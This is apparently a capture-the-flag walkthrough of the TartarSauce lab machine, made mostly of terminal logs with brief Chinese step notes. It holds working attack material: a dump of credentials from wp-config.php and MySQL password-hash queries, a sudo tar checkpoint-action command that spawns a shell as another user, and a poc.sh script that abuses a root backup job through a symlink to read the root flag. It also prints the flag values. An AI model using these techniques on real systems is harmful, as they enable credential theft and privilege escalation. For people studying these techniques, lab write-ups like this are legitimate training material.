┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -p- -Pn --min-rate=10000 -oG allport1 10.10.10.88 [sudo] kali 的密码： Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-06 22:38 CST Warning: 10.10.10.88 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.10.88 Host is up (0.27s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 19.11 seconds
┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -sC -sV -p80 -Pn --min-rate=10000 -oG allport 10.10.10.88 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-06 22:39 CST Nmap scan report for 10.10.10.88 Host is up (0.27s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-robots.txt: 5 disallowed entries | /webservices/tar/tar/source/ | /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/ |_/webservices/developmental/ /webservices/phpmyadmin/ |_http-title: Landing Page |_http-server-header: Apache/2.4.18 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.67 seconds
┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -p- -Pn -sU --min-rate=10000 -oG allport2 10.10.10.88 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-06 22:40 CST Warning: 10.10.10.88 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.10.88 Host is up (0.30s latency). All 65535 scanned ports on 10.10.10.88 are in ignored states. Not shown: 65467 open|filtered udp ports (no-response), 68 closed udp ports (port-unreach)
Nmap done: 1 IP address (1 host up) scanned in 75.10 seconds
┌──(kali㉿kali)-[~/桌面] └─$ dirsearch -u http://10.10.10.88 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
┌──(kali㉿kali)-[~/桌面] └─$ dirsearch -u http://10.10.10.88/webservices/ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
WordPress Security Scanner by the WPScan Team Version 3.8.25 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[i] It seems like you have not updated the database for some time. Y [i] Updating the Database ... [i] Update completed.
[+] URL: http://10.10.10.88/webservices/wp/ [10.10.10.88] [+] Started: Sat Jan 6 23:06:17 2024
[!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sat Jan 6 23:06:38 2024 [+] Requests Done: 173 [+] Cached Requests: 4 [+] Data Sent: 46.379 KB [+] Data Received: 12.671 MB [+] Memory used: 228.215 MB [+] Elapsed time: 00:00:20
=== Gwolle Guestbook === Contributors: Gwolle, mpol Tags: guestbook, guest book, comments, feedback, antispam, review, gastenboek, livre d'or, Gästebuch, libro de visitas, livro de visitas Requires at least: 3.7 Tested up to: 4.4 Stable tag: 2.3.10 License: GPLv2 or later
Gwolle Guestbook is the WordPress guestbook you've just been looking for. Beautiful and easy.
== Changelog ==
= 2.3.10 = * 2018-2-12 * Changed version from 1.5.3 to 2.3.10 to trick wpscan ;D
www-data@TartarSauce:/$ pwd pwd / www-data@TartarSauce:/$ cd /var/www cd /var/www www-data@TartarSauce:/var/www$ ls ls html www-data@TartarSauce:/var/www$ cd html cd html www-data@TartarSauce:/var/www/html$ ls ls index.html robots.txt webservices www-data@TartarSauce:/var/www/html$ cd webservices cd webservices www-data@TartarSauce:/var/www/html/webservices$ ls ls monstra-3.0.4 wp www-data@TartarSauce:/var/www/html/webservices$ cd monstra-3.0.4 cd monstra-3.0.4 www-data@TartarSauce:/var/www/html/webservices/monstra-3.0.4$ ls ls CHANGELOG.md admin engine index_copy.php public sitemap.xml LICENSE.md backups favicon.ico libraries robots.txt storage README.md boot index.php plugins rss.php tmp www-data@TartarSauce:/var/www/html/webservices/monstra-3.0.4$ cd admin cd admin www-data@TartarSauce:/var/www/html/webservices/monstra-3.0.4/admin$ ls ls index.php themes www-data@TartarSauce:/var/www/html/webservices/monstra-3.0.4/admin$ cd ../../../ <ww/html/webservices/monstra-3.0.4/admin$ cd ../../../ www-data@TartarSauce:/var/www/html$ ls ls index.html robots.txt webservices www-data@TartarSauce:/var/www/html$ cd webservices cd webservices www-data@TartarSauce:/var/www/html/webservices$ ls ls monstra-3.0.4 wp www-data@TartarSauce:/var/www/html/webservices$ cd wp cd wp www-data@TartarSauce:/var/www/html/webservices/wp$ ls ls index.php wp-blog-header.php wp-cron.php wp-mail.php license.txt wp-comments-post.php wp-includes wp-settings.php readme.html wp-config-sample.php.bkp wp-links-opml.php wp-signup.php wp-activate.php wp-config.php wp-load.php wp-trackback.php wp-admin wp-content wp-login.php xmlrpc.php www-data@TartarSauce:/var/www/html/webservices/wp$ cat wp-config.php cat wp-config.php <?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://codex.wordpress.org/Editing_wp-config.php * * @package WordPress */
// ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'wp');
/** MySQL database username */ define('DB_USER', 'wpuser');
/** MySQL database password */ define('DB_PASSWORD', 'w0rdpr3$$d@t@b@$3@cc3$$');
/** MySQL hostname */ define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this ifin doubt. */ define('DB_COLLATE', '');
/**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to login again. * * @since 2.6.0 */ define('AUTH_KEY', 'put your unique phrase here'); define('SECURE_AUTH_KEY', 'put your unique phrase here'); define('LOGGED_IN_KEY', 'put your unique phrase here'); define('NONCE_KEY', 'put your unique phrase here'); define('AUTH_SALT', 'put your unique phrase here'); define('SECURE_AUTH_SALT', 'put your unique phrase here'); define('LOGGED_IN_SALT', 'put your unique phrase here'); define('NONCE_SALT', 'put your unique phrase here');
/**#@-*/
/** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'wp_';
/** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the Codex. * * @link https://codex.wordpress.org/Debugging_in_WordPress */ define('WP_DEBUG', false); define('WP_HOME', 'http://tartarsauce.htb/webservices/wp'); define('WP_SITEURL', 'http://tartarsauce.htb/webservices/wp'); /* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */ if ( !defined('ABSPATH') ) define('ABSPATH', dirname(__FILE__) . '/');
/** Sets up WordPress vars and included files. */ require_once(ABSPATH . 'wp-settings.php'); www-data@TartarSauce:/var/www/html/webservices/wp$
/** MySQL database username */ define('DB_USER', 'wpuser');
/** MySQL database password */ define('DB_PASSWORD', 'w0rdpr3$$d@t@b@$3@cc3$$');
mysql -u 'wpuser' --password='w0rdpr3$$d@t@b@$3@cc3$$' -D wp -e 'show tables'
mysql -u 'wpuser' --password='w0rdpr3$$d@t@b@$3@cc3$$' -D wp -e 'describe wp_users'
mysql -u 'wpuser' --password='w0rdpr3$$d@t@b@$3@cc3$$' -D wp -e 'select user_login,user_pass from wp_users'
www-data@TartarSauce:/var/www/html/webservices/wp$ ls -la /home ls -la /home total 12 drwxr-xr-x 3 root root 4096 May 12 2022 . drwxr-xr-x 22 root root 4096 May 12 2022 .. drwxrw---- 5 onuma onuma 4096 May 12 2022 onuma www-data@TartarSauce:/var/www/html/webservices/wp$
www-data@TartarSauce:/var/www/html/webservices/wp$ mysql -u 'wpuser' --password='w0rdpr3$$d@t@b@$3@cc3$$' -D wp -e 'show tables' <sql -u 'wpuser' --password='w0rdpr3$$d@t@b@$3@cc3$$' -D wp -e 'show tables' mysql: [Warning] Using a password on the command line interface can be insecure. +-----------------------+ | Tables_in_wp | +-----------------------+ | wp_commentmeta | | wp_comments | | wp_gwolle_gb_entries | | wp_gwolle_gb_log | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | +-----------------------+ www-data@TartarSauce:/var/www/html/webservices/wp$ mysql -u 'wpuser' --password='w0rdpr3$$d@t@b@$3@cc3$$' -D wp -e 'describe wp_users' <='w0rdpr3$$d@t@b@$3@cc3$$' -D wp -e 'describe wp_users' mysql: [Warning] Using a password on the command line interface can be insecure. +---------------------+---------------------+------+-----+---------------------+----------------+ | Field | Type | Null | Key | Default | Extra | +---------------------+---------------------+------+-----+---------------------+----------------+ | ID | bigint(20) unsigned | NO | PRI | NULL | auto_increment | | user_login | varchar(60) | NO | MUL | | | | user_pass | varchar(255) | NO | | | | | user_nicename | varchar(50) | NO | MUL | | | | user_email | varchar(100) | NO | MUL | | | | user_url | varchar(100) | NO | | | | | user_registered | datetime | NO | | 0000-00-00 00:00:00 | | | user_activation_key | varchar(255) | NO | | | | | user_status | int(11) | NO | | 0 | | | display_name | varchar(250) | NO | | | | +---------------------+---------------------+------+-----+---------------------+----------------+ www-data@TartarSauce:/var/www/html/webservices/wp$ mysql -u 'wpuser' --password='w0rdpr3$$d@t@b@$3@cc3$$' -D wp -e 'select user_login,user_pass from wp_users' < -D wp -e 'select user_login,user_pass from wp_users' mysql: [Warning] Using a password on the command line interface can be insecure. +------------+------------------------------------+ | user_login | user_pass | +------------+------------------------------------+ | wpadmin | $P$BBU0yjydBz9THONExe2kPEsvtjStGe1 | +------------+------------------------------------+ www-data@TartarSauce:/var/www/html/webservices/wp$
17、这里尝试看下 home 目录下的文件吧
1 2 3 4 5 6 7 8 9 10 11 12
www-data@TartarSauce:/var/www/html/webservices/wp$ ls -la /home ls -la /home total 12 drwxr-xr-x 3 root root 4096 May 12 2022 . drwxr-xr-x 22 root root 4096 May 12 2022 .. drwxrw---- 5 onuma onuma 4096 May 12 2022 onuma www-data@TartarSauce:/var/www/html/webservices/wp$
www-data@TartarSauce:/var/www/html/webservices/wp$ ls -la /home/onuma ls -la /home/onuma ls: cannot open directory '/home/onuma': Permission denied www-data@TartarSauce:/var/www/html/webservices/wp$
18、那尝试下 sudo -l 命令
1 2 3 4 5 6 7 8 9
www-data@TartarSauce:/var/www/html/webservices/wp$ sudo -l sudo -l Matching Defaults entries for www-data on TartarSauce: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on TartarSauce: (onuma) NOPASSWD: /bin/tar www-data@TartarSauce:/var/www/html/webservices/wp$
19、发现了一个可以利用的点，这里通过 gtfobins 的方法，直接获取到该用户的权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14
www-data@TartarSauce:/$ sudo -l sudo -l Matching Defaults entries for www-data on TartarSauce: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on TartarSauce: (onuma) NOPASSWD: /bin/tar www-data@TartarSauce:/$ sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash <ll /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash tar: Removing leading `/' from member names onuma@TartarSauce:/$ id id uid=1000(onuma) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)
20、获取下user的flag信息
1 2 3 4 5 6 7 8 9
onuma@TartarSauce:/$ cd ~ cd ~ onuma@TartarSauce:~$ ls ls shadow_bkp user.txt onuma@TartarSauce:~$ cat user.txt cat user.txt 09368066008f72bebba5bac1ec692982 onuma@TartarSauce:~$
#------------------------------------------------------------------------------------- # backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ # ONUMA Dev auto backup program # This tool will keep our webapp backed up incase another skiddie defaces us again. # We will be able to quickly restore from a backup in seconds ;P #-------------------------------------------------------------------------------------
# Set Vars Here basedir=/var/www/html bkpdir=/var/backups tmpdir=/var/tmp testmsg=$bkpdir/onuma_backup_test.txt errormsg=$bkpdir/onuma_backup_error.txt tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1) check=$tmpdir/check
# formatting printbdr() { for n in $(seq 72); do /usr/bin/printf $"-"; done } bdr=$(printbdr)
# Added a test file to let us see when the last backup was run /usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg
# Cleanup from last time. /bin/rm -rf $tmpdir/.* $check
# Added delay to wait for backup to complete if large files get added. /bin/sleep 30
# Test the backup integrity integrity_chk() { /usr/bin/diff -r $basedir $check$basedir }
/bin/mkdir $check /bin/tar -zxvf $tmpfile -C $check if [[ $(integrity_chk) ]] then # Report errors so the dev can investigate the issue. /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg integrity_chk >> $errormsg exit 2 else # Clean up and save archive to the bkpdir. /bin/mv $tmpfile$bkpdir/onuma-www-dev.bak /bin/rm -rf $check .* exit 0 fi onuma@TartarSauce:/$
# set both start and cur equal to any backup file if it's there start=$(find /var/tmp -maxdepth 1 -type f -name ".*") cur=$(find /var/tmp -maxdepth 1 -type f -name ".*")
# loop until there's a change in cur echo"Waiting for archive filename to change..." while [ "$start" == "$cur" -o "$cur" == "" ] ; do sleep 10; cur=$(find /var/tmp -maxdepth 1 -type f -name ".*"); done
# Grab a copy of the archive echo"File changed... copying here" cp$cur .
# get filename fn=$(echo$cur | cut -d'/' -f4)
# extract archive tar -zxf $fn
# remove robots.txt and replace it with link to root.txt rm var/www/html/robots.txt ln -s /root/root.txt var/www/html/robots.txt
# remove old archive rm$fn
# create new archive tar czf $fn var
# put it back, and clean up mv$fn$cur rm$fn rm -rf var
# wait for results echo"Waiting for new logs..." tail -f /var/backups/onuma_backup_error.txt
onuma@TartarSauce:~$ ./poc.sh ./poc.sh Waiting for archive filename to change... File changed... copying here tar: var/www/html/webservices/monstra-3.0.4/public/uploads/.empty: Cannot stat: Permission denied tar: Exiting with failure status due to previous errors rm: cannot remove '.b9374902e8709ee04befb67211a23156c94072be': No such file or directory rm: cannot remove 'var/www/html/webservices/monstra-3.0.4/public/uploads/.empty': Permission denied Waiting for new logs... Only in /var/www/html/webservices/monstra-3.0.4: robots.txt Only in /var/www/html/webservices/monstra-3.0.4: rss.php Only in /var/www/html/webservices/monstra-3.0.4: sitemap.xml Only in /var/www/html/webservices/monstra-3.0.4: storage Only in /var/www/html/webservices/monstra-3.0.4: tmp ------------------------------------------------------------------------ Integrity Check Error in backup last ran : Thu Jan 21 05:38:54 EST 2021 ------------------------------------------------------------------------ /var/tmp/.379fe8e77f9f84a66b9a6df9a452d10499713829 Binary files /var/www/html/webservices/wp/.wp-config.php.swp and /var/tmp/check/var/www/html/webservices/wp/.wp-config.php.swp differ tail: inotify resources exhausted tail: inotify cannot be used, reverting to polling ------------------------------------------------------------------------ Integrity Check Error in backup last ran : Sat Jan 6 11:20:01 EST 2024 ------------------------------------------------------------------------ /var/tmp/.b9374902e8709ee04befb67211a23156c94072be diff -r /var/www/html/robots.txt /var/tmp/check/var/www/html/robots.txt 1,7c1 < User-agent: * < Disallow: /webservices/tar/tar/source/ < Disallow: /webservices/monstra-3.0.4/ < Disallow: /webservices/easy-file-uploader/ < Disallow: /webservices/developmental/ < Disallow: /webservices/phpmyadmin/ < --- > 3b1e9f541d6924b0983673e647c225ff Only in /var/www/html/webservices/monstra-3.0.4/public/uploads: .empty
